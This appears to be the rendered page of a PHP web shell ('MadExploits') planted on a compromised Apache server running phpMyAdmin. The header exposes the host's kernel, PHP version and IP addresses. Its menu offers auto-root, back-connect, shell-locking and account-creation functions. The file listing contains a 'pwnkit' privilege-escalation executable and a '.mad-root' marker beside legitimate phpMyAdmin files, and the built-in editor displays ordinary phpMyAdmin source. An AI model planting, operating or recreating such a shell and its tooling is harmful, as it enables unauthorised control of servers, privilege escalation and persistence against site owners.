Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.21.55.178
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
var /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Application.php
6.31
KB
-rw-r--r--
BrowseForeigners.php
10.24
KB
-rw-r--r--
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Column.php
363
B
-rw-r--r--
ColumnFull.php
500
B
-rw-r--r--
Config.php
38.1
KB
-rw-r--r--
Console.php
3.14
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
CreateAddField.php
14.6
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FileListing.php
3.04
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Font.php
4.26
KB
-rw-r--r--
Footer.php
6.82
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
Index.php
14.45
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
InternalRelations.php
17
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Language.php
4.12
KB
-rw-r--r--
LanguageManager.php
22.27
KB
-rw-r--r--
Linter.php
4.89
KB
-rw-r--r--
ListDatabase.php
4.93
KB
-rw-r--r--
Logging.php
2.79
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
Normalization.php
39.54
KB
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Operations.php
34.63
KB
-rw-r--r--
ParseAnalyze.php
2.23
KB
-rw-r--r--
Pdf.php
3.89
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Profiling.php
2.17
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Sanitize.php
8.62
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Session.php
7.88
KB
-rw-r--r--
ShowGrants.php
2.06
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
SqlQueryForm.php
6.93
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemColumn.php
267
B
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
Types.php
23.88
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
UserPassword.php
8.25
KB
-rw-r--r--
UserPreferences.php
10.22
KB
-rw-r--r--
UserPrivileges.php
520
B
-rw-r--r--
UserPrivilegesFactory.php
8.61
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
VersionInformation.php
7.18
KB
-rw-r--r--
ZipExtension.php
10.01
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UniqueCondition.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\SqlParser\Components\Expression; use function bin2hex; use function count; use function mb_strlen; use function preg_replace; use function strcasecmp; use function trim; class UniqueCondition { private string $whereClause; private bool $clauseIsUnique = true; /** @var array<string, string> */ private array $conditionArray = []; /** * Function to generate unique condition for specified row. * * @param FieldMetadata[] $fieldsMeta meta information about fields * @param array $row current row * @param bool $forceUnique generate condition only on pk or unique * @param string|bool $restrictToTable restrict the unique condition to this table or false if none * @param Expression[] $expressions An array of Expression instances. * @psalm-param array<int, mixed> $row */ public function __construct( array $fieldsMeta, array $row, bool $forceUnique = false, string|bool $restrictToTable = false, array $expressions = [], ) { $fieldsCount = count($fieldsMeta); $primaryKey = ''; $uniqueKey = ''; $nonPrimaryCondition = ''; $preferredCondition = ''; $primaryKeyArray = []; $uniqueKeyArray = []; $nonPrimaryConditionArray = []; foreach ($fieldsMeta as $i => $meta) { // do not use a column alias in a condition if ($meta->orgname === '') { $meta->orgname = $meta->name; foreach ($expressions as $expression) { if ( $expression->alias === null || $expression->alias === '' || $expression->column === null || $expression->column === '' ) { continue; } if (strcasecmp($meta->name, $expression->alias) == 0) { $meta->orgname = $expression->column; break; } } } // Do not use a table alias in a condition. // Test case is: // select * from galerie x WHERE //(select count(*) from galerie y where y.datum=x.datum)>1 // // Also, do not use the original table name if we are dealing with // a view because this view might be updatable. // (The isView() verification should not be costly in most cases // because there is some caching in the function). if ( $meta->table !== $meta->orgtable && ! DatabaseInterface::getInstance()->getTable(Current::$database, $meta->table)->isView() ) { $meta->table = $meta->orgtable; } // If this field is not from the table which the unique clause needs // to be restricted to. if ($restrictToTable && $restrictToTable != $meta->table) { continue; } // to fix the bug where float fields (primary or not) // can't be matched because of the imprecision of // floating comparison, use CONCAT // (also, the syntax "CONCAT(field) IS NULL" // that we need on the next "if" will work) if ($meta->isType(FieldMetadata::TYPE_REAL)) { $conKey = 'CONCAT(' . Util::backquote($meta->table) . '.' . Util::backquote($meta->orgname) . ')'; } else { $conKey = Util::backquote($meta->table) . '.' . Util::backquote($meta->orgname); } $condition = ' ' . $conKey . ' '; [$conVal, $condition] = $this->getConditionValue( $row[$i] ?? null, $meta, $fieldsCount, $conKey, $condition, ); if ($conVal === null) { continue; } $condition .= $conVal . ' AND'; if ($meta->isPrimaryKey()) { $primaryKey .= $condition; $primaryKeyArray[$conKey] = $conVal; } elseif ($meta->isUniqueKey()) { $uniqueKey .= $condition; $uniqueKeyArray[$conKey] = $conVal; } $nonPrimaryCondition .= $condition; $nonPrimaryConditionArray[$conKey] = $conVal; } // Correction University of Virginia 19991216: // prefer primary or unique keys for condition, // but use conjunction of all values if no primary key if ($primaryKey !== '') { $preferredCondition = $primaryKey; $this->conditionArray = $primaryKeyArray; } elseif ($uniqueKey !== '') { $preferredCondition = $uniqueKey; $this->conditionArray = $uniqueKeyArray; } elseif (! $forceUnique) { $preferredCondition = $nonPrimaryCondition; $this->conditionArray = $nonPrimaryConditionArray; $this->clauseIsUnique = false; } $this->whereClause = trim((string) preg_replace('|\s?AND$|', '', $preferredCondition)); } public function getWhereClause(): string { return $this->whereClause; } public function isClauseUnique(): bool { return $this->clauseIsUnique; } /** @return array<string, string> */ public function getConditionArray(): array { return $this->conditionArray; } /** * Build a condition and with a value * * @param string|int|float|null $row The row value * @param FieldMetadata $meta The field metadata * @param int $fieldsCount A number of fields * @param string $conditionKey A key used for BINARY fields functions * @param string $condition The condition * * @return array<int,string|null> * @psalm-return array{string|null, string} */ private function getConditionValue( string|int|float|null $row, FieldMetadata $meta, int $fieldsCount, string $conditionKey, string $condition, ): array { if ($row === null) { return ['IS NULL', $condition]; } $conditionValue = ''; $isBinaryString = $meta->isType(FieldMetadata::TYPE_STRING) && $meta->isBinary(); // 63 is the binary charset, see: https://dev.mysql.com/doc/internals/en/charsets.html $isBlobAndIsBinaryCharset = $meta->isType(FieldMetadata::TYPE_BLOB) && $meta->charsetnr === 63; if ($meta->isNumeric) { $conditionValue = '= ' . $row; } elseif ($isBlobAndIsBinaryCharset || ($row != 0 && $isBinaryString)) { // hexify only if this is a true not empty BLOB or a BINARY // do not waste memory building a too big condition $rowLength = mb_strlen((string) $row); if ($rowLength > 0 && $rowLength < 1000) { // use a CAST if possible, to avoid problems // if the field contains wildcard characters % or _ $conditionValue = '= CAST(0x' . bin2hex((string) $row) . ' AS BINARY)'; } elseif ($fieldsCount === 1) { // when this blob is the only field present // try settling with length comparison $condition = ' CHAR_LENGTH(' . $conditionKey . ') '; $conditionValue = ' = ' . $rowLength; } else { // this blob won't be part of the final condition $conditionValue = null; } } elseif ($meta->isMappedTypeGeometry && $row != 0) { // do not build a too big condition if (mb_strlen((string) $row) < 5000) { $condition .= '= CAST(0x' . bin2hex((string) $row) . ' AS BINARY)'; } else { $condition = ''; } } elseif ($meta->isMappedTypeBit) { $conditionValue = "= b'" . Util::printableBitValue((int) $row, $meta->length) . "'"; } else { $conditionValue = '= ' . DatabaseInterface::getInstance()->quoteString((string) $row); } return [$conditionValue, $condition]; } }
Close